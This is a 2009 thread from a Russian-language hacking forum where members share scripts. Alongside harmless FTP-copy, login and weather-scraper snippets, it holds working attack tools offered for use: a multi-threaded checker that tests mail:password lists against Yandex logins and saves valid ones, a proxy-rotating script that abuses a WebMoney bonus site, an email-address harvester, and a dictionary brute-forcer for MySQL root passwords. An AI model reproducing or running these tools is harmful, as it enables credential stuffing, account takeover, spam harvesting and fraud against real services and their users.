ANTICHAT — форум по информационной безопасности, OSINT и технологиям
ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию.
Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club,
и теперь снова доступен на новом адресе —
forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.

14.08.2009, 02:37
|
|
Banned
Регистрация: 08.08.2009
Сообщений: 46
Провел на форуме: 372123
Репутация:
67
|
|
Сообщение от satana-fu
скрипт можешь в архив скидывать, уже больше полугода как он не работает в браузерах, блокируется. 
Его еще на старом ачате выставляли
А, спасиб, тогда мне над будет почистить свой архив скриптов 
|
|
|

14.08.2009, 17:06
|
|
Динозавр
Регистрация: 10.01.2008
Сообщений: 2,841
Провел на форуме: 9220514
Репутация:
3338
|
|
FTP2FTPT from 3-d
Скрипт, копирующий файл с ФТП1 на ФТП2. Сам скрипт выполняется откуда угодно, место, где выполняется скрипт, не требует резервации под объем копируемого файла (удобно для копирования больших архивов и etc. - т.е. нужно место исключительно для самого скрипта ~ 1.5 кб):
PHP код:
<?php
@set_time_limit(0);
@ini_set("display_errors","1");
@ignore_user_abort(1);
//ФТП-сервер, откуда берем файло
$ftp_server1 = "фтп-сервер1";// Фтп-сервер1
$ftp_login1 = "фтп-логин1";// Фтп-логин1
$ftp_pass1 = "фтп-пасс1";// Фтп-пасс1
$path1 = '/public_html/test.php'; // Абсолютный путь до скачиваемого файла начиная с www директории (доступной из веба)
$file = $ftp_server1.$path1; // не трогать:)
//ФТП-сервер, куда кладём файло
$ftp_server2 = "фтп-сервер2";// Фтп-сервер2
$ftp_login2 = "фтп-логин2";// Фтп-логин2
$ftp_pass2 = "фтп-пасс2";// Фтп-пасс2
$ftp_port2 = 21;// Фтп-порт2
$ftp_time_out2 = 100;// Фтп-таймаут2
$path2 = '/test.php';// Асболютный путь до директории на втором фтп, куда будем закачивать файл (включая название файла - тут кладем просто в корень )
########################################
$file1 = "ftp://" . $ftp_login1 . ":" . $ftp_pass1 . "@" . $file;
$open = ftp_connect($ftp_server2,$ftp_port2,$ftp_time_out2 ); // сервер, порт, таймаут
if(!ftp_login($open,$ftp_login2,$ftp_pass2))
exit("Не могу соединиться");
# Копируем #
if (ftp_put($open, $path2, $file1, FTP_BINARY)) echo "Файл скопирован с $ftp_server1 на $ftp_server2 в $path2\n";
else echo "Не удалось скопировать в $path2\n";
ftp_close($open); // закрываем фтп-соединение
?>
Копирует, есс-но, любые файлы, .php, .htaccess и etc.
Протестено на denwer, таким образом никаких ограничений на время исполнения скрипта и прочих привелегий нет и быть не может.
Последний раз редактировалось Pashkela; 14.08.2009 в 18:06..
|
|
|

14.08.2009, 22:47
|
|
Постоянный
Регистрация: 02.07.2008
Сообщений: 472
Провел на форуме: 3728999
Репутация:
444
|
|
Простой способ аутентификации на сайте с помощью сессий.
для работы достаточно написать в начале всех защищаемых скриптах(PHP) строчку include "auth.php";
auth.php
PHP код:
<?php
if (isset($_POST['auth_name'])) {
$name=mysql_real_escape_string($_POST['auth_name']);
$pass=mysql_real_escape_string($_POST['auth_pass']);
$query = "SELECT * FROM users WHERE name='$name' AND pass='$pass'";
$res = mysql_query($query) or trigger_error(mysql_error().$query);
if ($row = mysql_fetch_assoc($res)) {
session_start();
$_SESSION['user_id'] = $row['id'];
$_SESSION['ip'] = $_SERVER['REMOTE_ADDR'];
}
header("Location: http://".$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI']);
exit;
}
if (isset(@$_GET['action']) AND @$_GET['action']=="logout") {
session_start();
session_destroy();
header("Location: http://".$_SERVER['HTTP_HOST']."/");
exit;
}
if (isset($_REQUEST[session_name()])) session_start();
if (isset($_SESSION['user_id']) AND $_SESSION['ip'] == $_SERVER['REMOTE_ADDR']) return;
else {
?>
<form method="POST">
<input type="text" name="auth_name"><br>
<input type="password" name="auth_pass"><br>
<input type="submit"><br>
</form>
<?
}
exit;
?>
|
|
|

15.08.2009, 01:22
|
|
Участник форума
Регистрация: 08.02.2009
Сообщений: 196
Провел на форуме: 1420275
Репутация:
127
|
|
Написал от нех делать скрипт для получения бесплатных бонусов на WMR кошель
При работае юзайте прокси, т.к. кол-во получений бонуса в день == 1.
Код:
#!/usr/bin/perl
use strict;
use warnings;
use LWP::UserAgent;
use threads;
use threads::shared;
###########################
my $threads = 1; # Кол-во потоков
my $wmr = 'R185203825511';# Кошель WMR
my $count_attempt = 1; # Кол-во попыток получения бонуса
my $proxy_mode = 'ON'; # Режим прокси(ON/OFF)
my $proxy = 'proxy.txt'; # Файл с прокси
###########################
open my $prx, '<', $proxy or die "\nCould not open proxy file!\n";
chomp(my @proxys : shared = <$prx>);
close $prx;
threads->new(\&main) for 1 .. $threads;
$_->join for threads->list;
sub main
{
my $ua = new LWP::UserAgent;
$ua->default_header('Referer' => "http://kamtreid.ru/bon.php");
for(1..$count_attempt)
{
if($proxy_mode eq 'ON')
{
until(proxy($ua)){}
}
my $answ = $ua->get("http://kamtreid.ru/form.php")->content;
my $code = undef;
if($answ =~ m,cod value='(\w+)',i)
{
$code = $1;
}
else
{
print "[ - ] Error parsing code!\n";
}
my $ans = $ua->post("http://kamtreid.ru/bonus.php",
["cod" => $code,
"r" => $wmr,
"submit" => "%CF%EE%EB%F3%F7%E8%F2%FC+%E1%EE%ED%F3%F1"])->code;
if($ans == 302)
{
print "[ ~ ] Ok\n"
}
}
}
sub proxy
{
my ($ua) = @_;
my ($ip,$port) = split ':' => $proxys[rand scalar @proxys];
$ua->proxy('http' => "http://$ip:$port");
my $test = $ua->get('http://www.cship.info/azenv.php')->content;
if($test =~ m,$ip,i)
{
print "[ + ] Current proxy: $ip:$port\n";
return 1;
}
else
{
print "[ - ] Error proxy: $ip:$port\n";
return 0;
}
}
#(c) Gaus 2009
Последний раз редактировалось Gaus; 10.10.2009 в 13:05..
|
|
|

15.08.2009, 02:02
|
|
Постоянный
Регистрация: 02.07.2008
Сообщений: 472
Провел на форуме: 3728999
Репутация:
444
|
|
Anners, название темы прочитай! какие нафиг сайты с бонусами!
|
|
|

15.08.2009, 20:25
|
|
Постоянный
Регистрация: 05.12.2004
Сообщений: 647
Провел на форуме: 1698585
Репутация:
818
|
|
Погода на weather.bigmir.net
PHP код:
<?php
class weather
{
########################################
#
# Погода на weather.bigmir.net
#
########################################
var $url = 'http://weather.bigmir.net/main/harkov/8956/';
var $celsius = 'N\A';
var $windspeed = 'N\A';
var $vlaga = 'N\A';
var $visibility = 'N\A';
var $obl = 'N\A';
var $date = 'N\A';
var $city = 'N\A';
function weather()
{
$url = file_get_contents($this->url);
#
if(preg_match('#<span id=\'TemperatureCelsius\'>(.*)<\/span>#',$url,$matches))
$this->celsius = $matches[1];
if(preg_match('#<span id=\'WindSpeed\'>(.*)<\/span>#U',$url,$matches))
$this->windspeed = $matches[1].'м/с';
if(preg_match('#<span id=\'RelativeHumidity\'>(.*)<\/span>#U',$url,$matches))
$this->vlaga = $matches[1].'%';
if(preg_match('#<span id=\'VisibilityKM\'>(.*)<\/span>#U',$url,$matches))
$this->visibility = $matches[1].'км';
if(preg_match('#<span id=\'CloudCoverage\'>(.*)</span>#U',$url,$matches))
$this->obl = $matches[1].'%';
if(preg_match('#<span id=\'forecastDate\'>(.*?)</span>#U',$url,$matches))
$this->date = 'Погода на '.$matches[1];
if(preg_match('#<div class="fl mrt_small">Погода в (.*)<\/div>#U',$url,$matches))
$this->city = 'В '.$matches[1];
}
}
$a = new weather;
echo $a->city.'<br />';
echo $a->date.'<br />';
echo 'Температура '.$a->celsius.'<br />';
echo 'Скорость ветра '.$a->windspeed.'<br />';
echo 'Влажность '.$a->vlaga.'<br />';
echo 'Видимость '.$a->visibility.'<br />';
echo 'Облачность '.$a->obl.'<br />';
?>
|
|
|
Брут\чекер мыл на яндексе |

15.08.2009, 21:08
|
|
Участник форума
Регистрация: 08.02.2009
Сообщений: 196
Провел на форуме: 1420275
Репутация:
127
|
|
Брут\чекер мыл на яндексе
Код:
#!/usr/bin/perl
#yandex.ru checker
#(c) Gaus 2009
use strict;
use warnings;
use LWP::UserAgent;
use HTTP::Cookies;
use threads;
use threads::shared;
use Fcntl ':flock';
##############################
my $mails_file = 'mails.txt';# Файл со списокoм мыл, в формате мыло:пасс
my $delm = ';'; # Разделитель списка мыл
my $threads = 1; # Кол-во потоков
my $proxy_file = 'proxy.txt';# Файл с проксями
my $proxy_mode = 'OFF'; # Режим использования прокси
my $good_mails = 'good.txt'; # Файл с валидными мылами
##############################
my @mails : shared = lf($mails_file);
my @proxys : shared = lf($proxy_file);
threads->new(\&main) for 1 .. $threads;
$_->join for threads->list;
sub main
{
my $ua = LWP::UserAgent->new(timeout => 35,
cookie_jar => new HTTP::Cookies,
agent => agent());
while(@mails)
{
if($proxy_mode eq 'ON')
{
until(proxy($ua)){}
}
my ($mail, $pass) = split $delm => shift @mails;
my ($login, $dom) = split '@' => $mail;
my $resp = $ua->post("http://pda-passport.yandex.ru/passport?mode=mauth",
["timestamp" => time,
"login" => $login,
"passwd" => $pass,
"In" => "%C2%EE%E9%F2%E8"])->code;
if($resp == 302)
{
wf($good_mails, "$mail;$pass\n");
print "[ + ] $mail;$pass\n";
}
else
{
print "[ - ] $mail;$pass\n";
}
}
}
sub proxy
{
my $ua = shift;
my ($ip, $port) = split ':' => $proxys[rand scalar @proxys];
$ua->proxy('http' => "http://$ip:$port");
my $test = $ua->get('http://zerg.helllabs.com.ua/cgi-bin/textenv.pl')->content;
if($test =~ m,REMOTE_ADDR=$ip,i)
{
print "[ + ] Current proxy: $ip:$port\n";
return 1;
}
else
{
print "[ - ] Error proxy: $ip:$port\n";
return 0;
}
}
sub agent
{
my @agents = qw(Opera/9.15 Opera/9.12 Opera/8.60b IE/4.0 IE/5.0 IE/6.0 IE/7.0 Mozilla/4.0 Mozilla/5.0 Mozilla/2.0 Mozilla/3.0);
return $agents[rand scalar @agents];
}
sub lf
{
open my $dat, '<', $_[0] or die "\nCould not open $_[0] file!\n";
chomp (my @data = <$dat>);
close $dat;
my %saw;
return @data = grep(!$saw{$_}++, @data);
}
sub wf
{
open my $dat, '>>', $_[0] or die "\nCould not open $_[0] file!\n";
flock $dat, LOCK_EX;
print $dat $_[1];
flock $dat, LOCK_UN;
close $dat;
}
|
|
|

17.08.2009, 02:26
|
|
Участник форума
Регистрация: 20.08.2008
Сообщений: 137
Провел на форуме: 2607957
Репутация:
184
|
|
Парсер мыла
PHP код:
<?php
$base_url='http://otvet.mail.ru';
$buffer=file_get_contents($base_url);
preg_match_all('/[\.\-_A-Za-z0-9]+?@[\.\-A-Za-z0-9]+?[\.A-Za-z0-9]{2,}/', $buffer, $emails);
$emails = array_unique($emails[0]);
foreach($emails as $ke => $vol){
echo $vol.'<br/>';
//ну а тут ваши необходимые действия
}
?>
Немного криво, главное принцип
|
|
|

19.08.2009, 11:15
|
|
Познающий
Регистрация: 16.03.2009
Сообщений: 82
Провел на форуме: 148667
Репутация:
23
|
|
Всем доброе утро! Я написал такой скриптик который пробует подобрать пароль к mysql серверу. Пробовал его у себя на компе работает нормально. Вопрос, посмтрите и скажите может ли он подобрать пароль к удаленному mysql серверу? Или сервера настроены все так чтобы подключаться можно было только из локальной машины?
PHP код:
<html>
<head>
<title>Shpion</title>
</head>
<body>
<h2>Made by Patron</h2>
<a href = "http://www.libra.com/sql_shpion/tr.php">tr</a><br><br>
<?php
$dir = opendir("slovnuku");
while($file = readdir($dir))
{
if(($file != "..")&&($file != "."))
{
$slovnuku[]= $file;
}
}
$size = sizeof($slovnuku);
if($size != 0 )
{
foreach ($slovnuku as $curslovnuk)
{
echo'<a href = "http://www.libra.com/sql_shpion/shpion.php?curslovnuk='.$curslovnuk.'">'.$curslovnuk.'</a><br>';
}
}
closedir ($dir);
$curslov = $_GET['curslovnuk'];
echo'<center><a href = "http://www.libra.com/sql_shpion/shpion.php?unset=1">Вийти зісловника</a><br><br></center>';
if($_GET['unset'] == 1) { unset($curslov); }
if(isset($curslov))
{
$slovnuk = file("slovnuku/$curslov");
foreach ($slovnuk as $curworld)
{
//echo''.$curworld.'<br>';
$curworld = rtrim($curworld);
$coonect = mysql_connect("localhost", "root", $curworld);
if($coonect != false)
{
$fp = fopen("pas.txt", "a+");
$password = $curworld;
$string = "Пароль підібрано ----".$password."\n";
fputs($fp, $string);
fclose($fp);
echo'<p>Я вас вітаю! Пароль підібрано успішно!</p>';
exit;
}
else
{
echo '<p> В цьому словнику не знайшлося паролю(( </p>';
}
}
}
?>
</body>
</html>
|
|
|

19.08.2009, 11:17
|
|
Познавший АНТИЧАТ
Регистрация: 01.05.2006
Сообщений: 1,021
Провел на форуме: 3424739
Репутация:
921
|
|
Вопрос, посмтрите и скажите может ли он подобрать пароль к удаленному mysql серверу? Или сервера настроены все так чтобы подключаться можно было только из локальной машины?
от настроек сервера зависит
|
|
|
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|